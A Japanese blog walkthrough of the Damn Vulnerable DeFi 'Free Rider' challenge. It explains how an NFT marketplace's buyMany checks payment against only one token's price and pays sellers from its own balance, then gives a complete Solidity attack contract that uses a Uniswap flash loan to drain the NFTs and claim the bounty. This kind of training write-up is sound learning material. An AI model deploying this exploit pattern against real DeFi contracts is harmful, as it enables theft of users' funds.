moon

moon

Build for builders on blockchain
github
twitter

Defiハッカーシリーズ:Damn Vulnerable DeFi (十) - フリーライダー

ダム脆弱な DeFi は、DeFi スマートコントラクト攻撃チャレンジシリーズです。内容には、フラッシュローン攻撃、貸出プール、オンチェーンオラクルなどが含まれています。始める前に、Solidity および JavaScript に関するスキルが必要です。各問題に対して、あなたがするべきことは、その問題のユニットテストが通過することを保証することです。

問題リンク:https://www.damnvulnerabledefi.xyz/challenges/10.html

問題の説明:

すでに公開されているダム貴重な NFT 取引市場があり、最初に 6 つの NFT がミントされ、取引市場で販売されており、販売価格は 15ETH です。

ある買い手があなたに秘密を教えてくれました:市場は脆弱で、すべてのトークンを奪うことができます。しかし、彼はどうやってそれをするのかわかりません。そのため、NFT を取り出して彼に送る人に 45ETH の報酬を提供することを望んでいます。

あなたはこの買い手のところで名声を築きたいと思っているので、この計画に同意しました。

残念ながら、あなたは 0.5ETH しか持っていません。どこかで無料で ETH を得ることができればいいのですが、一時的でも構いません。

FreeRiderBuyer.sol#

買い手コントラクト

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract FreeRiderBuyer is ReentrancyGuard, IERC721Receiver {

    using Address for address payable;
    address private immutable partner;
    IERC721 private immutable nft;
    uint256 private constant JOB_PAYOUT = 45 ether;
    uint256 private received;
    
    // デプロイ時にこのコントラクトに45ethを転送
    constructor(address _partner, address _nft) payable {
        require(msg.value == JOB_PAYOUT);
        partner = _partner;
        nft = IERC721(_nft);
        IERC721(_nft).setApprovalForAll(msg.sender, true);
    }
    
    // NFTを受け取ったときにトリガーされる関数
    function onERC721Received(
        address,
        address,
        uint256 _tokenId,
        bytes memory
    ) 
        external
        override
        nonReentrant
        returns (bytes4) 
    {
        require(msg.sender == address(nft));
        require(tx.origin == partner); // 取引の発起人がpartnerであることを確認
        require(_tokenId >= 0 && _tokenId <= 5);
        require(nft.ownerOf(_tokenId) == address(this)); // 所有していることを確認
        
        received++;
        // 6つのNFTを受け取った後、45ethをpartnerに転送
        if(received == 6) {            
            payable(partner).sendValue(JOB_PAYOUT);
        }            
        return IERC721Receiver.onERC721Received.selector;
    }
}

このコントラクトは IERC721Receiver を継承しており、NFT コントラクトは ERC721 を継承しています。

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";

contract DamnValuableNFT is ERC721, ERC721Burnable, AccessControl {}

これは、NFT コントラクトが safeTransferFrom を呼び出し、to アドレスがこのコントラクトである場合、onERC721Received 関数がトリガーされることを意味します。

safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)

safeTransferFrom 内部では、to がコントラクトアドレスであるかどうかを確認し、そうであれば onERC721Received を呼び出します。

FreeRiderNFTMarketplace.sol#

取引コントラクトは ReentrancyGuard を継承しており、再入攻撃を防ぐために使用されます。

コンストラクタでは、DamnValuableNFT コントラクトを作成し、amountToMint 数量の NFT をコントラクトのデプロイ者にミントしました。

constructor(uint8 amountToMint) payable {
    require(amountToMint < 256, "その数のトークンをミントすることはできません");
    token = new DamnValuableNFT();

    for(uint8 i = 0; i < amountToMint; i++) {
        token.safeMint(msg.sender);
    }        
}

このコントラクトは 2 つの機能を提供します。

  • 一括販売 offerMany
function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant {
    require(tokenIds.length > 0 && tokenIds.length == prices.length);
    for (uint256 i = 0; i < tokenIds.length; i++) {
        _offerOne(tokenIds[i], prices[i]);
    }
}

function _offerOne(uint256 tokenId, uint256 price) private {
    // 入札が > 0 であることを確認
    require(price > 0, "価格はゼロより大きくなければなりません");
    // 売り手はそのNFTの所有者である必要があります
    require(msg.sender == token.ownerOf(tokenId), "出品するアカウントは所有者でなければなりません");
    
    // 承認されていることを確認
    require(
        token.getApproved(tokenId) == address(this) ||
        token.isApprovedForAll(msg.sender, address(this)),
        "出品するアカウントは転送を承認している必要があります"
    );
    // 価格を記録
    offers[tokenId] = price;

    amountOfOffers++;

    emit NFTOffered(msg.sender, tokenId, price);
}

NFT の保有者がこのメソッドを呼び出すと、いくつかの基本的な検証の他に、所有者が保有する NFT に対してこのコントラクトが操作できるように承認します。

最後に、入札を offers[tokenId] に保存し、誰かが購入する際に、所有者がすでにこのコントラクトにその NFT を操作することを承認しているため、支払いを受け取った後、このコントラクトは直接所有者の NFT を購入者に転送できます。

  • 一括購入 buyMany
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
    for (uint256 i = 0; i < tokenIds.length; i++) {
        _buyOne(tokenIds[i]);
    }
}

function _buyOne(uint256 tokenId) private {
    // 価格を取得
    uint256 priceToPay = offers[tokenId];
    // 入金された価格が販売価格以上であることを確認
    require(priceToPay > 0, "トークンは出品されていません");
    require(msg.value >= priceToPay, "支払額が不足しています");

    amountOfOffers--;

    // NFTを購入者に転送
    token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);

    // 受け取ったETHを売り手に転送
    payable(token.ownerOf(tokenId)).sendValue(priceToPay);

    emit NFTBought(msg.sender, tokenId, priceToPay);
}

売り手が取引コントラクト内でその保有する NFT を販売すると、買い手は購入プロセスを実行できます。まず価格を取得し、受け取った ETH が販売価格以上であることを確認し、その後このコントラクトが売り手の保有する NFT を買い手に転送し、受け取った ETH を売り手に転送します。

一括購入機能には明らかな問題があります。受け取った ETH が販売価格以上であることを確認する際に require(msg.value >= priceToPay, "支払額が不足しています"); で確認しているのは単一の NFT の価格であり、一括購入の総額ではありません。また、売り手に送金する際にはコントラクト内の残高が使用されます。

例えば、取引コントラクトが 100ETH を保有していて、売り手がその保有する tokenId 1, 2, 3 の NFT をそれぞれ 1ETH, 5ETH, 3ETH で販売している場合、買い手が buyMany を呼び出す際に支払うべき価格は 9ETH ですが、実際には 5ETH(購入価格が最も高い tokenId の価格)を支払うだけで require のチェックを満たすことができます。この時、取引コントラクトは合計で 105ETH を保有しています。送金時、取引コントラクトは売り手に 9ETH を転送しました。つまり、買い手が支払わなかった ETH は取引コントラクトの残高から補填されました。

この問題では、NFT の単価は 15ETH であるため、6 つの NFT を購入するには 15ETH のみで済み、90ETH ではありません。しかし、あなたは 0.5ETH しか持っていません。したがって、ETH を得る方法を考えなければなりません。uniswap のフラッシュローンを利用するのは良い方法です:

  • フラッシュローンで 15WETH を借りて、WETHETH に交換します。
  • ETH を使用して NFT を購入し、購入した NFT を FreeRiderBuyer に送信し、45ETH の報酬を受け取ります。
  • 最後に ETHWETH に戻し、フラッシュローンの手数料を含めてフラッシュローンの借入金を返済します。

これらの操作は 1 つのトランザクションで完了する必要があるため、攻撃コントラクトを書く必要がありますが、その前にテストファイル free-rider.challenge.js がどのような初期化を行っているかを確認します:

  • attacker0.5ETH を送信
  • コントラクト WETHDVTuniswapFactoryuniswapRouter をデプロイ
  • uniswapRouter コントラクトのメソッド addLiquidityETH を呼び出して流動性を追加し、このメソッド内部でペアコントラクト uniswapPair が作成され、ペアの通貨は WETH-DVT で、追加された流動性は 9000WETH15000DVT
  • コントラクト FreeRiderNFTMarketplace をデプロイし、90ETH を転送。
  • NFT コントラクトをデプロイ
  • 取引コントラクト内で tokenId 0~5 の NFT を販売するための売り注文を作成し、各価格は 15ETH
  • コントラクト FreeRiderBuyer をデプロイし、45ETH を転送

攻撃コントラクトのコードは以下の通りです:

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "../free-rider/FreeRiderNFTMarketplace.sol";
import "../free-rider/FreeRiderBuyer.sol";
import "../DamnValuableNFT.sol";

contract FreeRiderAttack is IUniswapV2Callee, IERC721Receiver {
  
  FreeRiderBuyer buyer;
  FreeRiderNFTMarketplace marketplace;

  IUniswapV2Pair pair;
  IWETH weth;
  DamnValuableNFT nft;
  address attacker;

  uint256[] tokenIds = [0, 1, 2, 3, 4, 5];

  constructor(address _buyer, address payable _marketplace, address _pair, address _weth, address _nft) payable {
    buyer = FreeRiderBuyer(_buyer);
    marketplace = FreeRiderNFTMarketplace(_marketplace);

    pair = IUniswapV2Pair(_pair);
    weth = IWETH(_weth);
    nft = DamnValuableNFT(_nft);

    attacker = msg.sender;
  }

  function attack(uint amount) external {
    // ペアコントラクト: WETH-DVT
    // uniswap フラッシュローンで amount 数量の WETH を借りる
    // 注意: 最後のパラメータは空であってはいけません。そうでないとフラッシュローンのコールバックが実行されません
    pair.swap(amount, 0, address(this), "x");
  }

  // uniswap フラッシュローンコールバック
  function uniswapV2Call(
    address sender,
    uint amount0,
    uint amount1,
    bytes calldata data
  ) external {
    // 借りた WETH を ETH に変換
    weth.withdraw(amount0);

    // 借りた15ETHを取引コントラクトに転送してtokenIdが0~5のNFTを購入
    marketplace.buyMany{value: amount0}(tokenIds);

    // 購入したNFTをbuyerに転送し、45 ETHを得る
    for (uint tokenId = 0; tokenId < tokenIds.length; tokenId++) {
      nft.safeTransferFrom(address(this), address(buyer), tokenId);
    }

    // フラッシュローンの返済に必要な手数料を計算し、返済分をwethに変換
    uint fee = amount0 * 3 / 997 + 1;
    weth.deposit{value: fee + amount0}();

    // フラッシュローンを返済
    weth.transfer(address(pair), fee + amount0);

    // 残りのETHをattackerに転送
    payable(address(attacker)).transfer(address(this).balance);
  }

  receive() external payable {}

  function onERC721Received(address, address, uint256, bytes memory) external pure override returns (bytes4) {
      return IERC721Receiver.onERC721Received.selector;
  }
}

テストファイル free-rider.challenge.js に実行エントリを追加します。

it('Exploit', async function () {
  const freeRiderAttack = await (await ethers.getContractFactory('FreeRiderAttack', attacker)).deploy(
    this.buyerContract.address,
    this.marketplace.address,
    this.uniswapPair.address,
    this.weth.address,
    this.nft.address
  )
  await freeRiderAttack.attack(NFT_PRICE)
})

最後に yarn free-rider を実行してテストを通過させます!

完全なコード

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。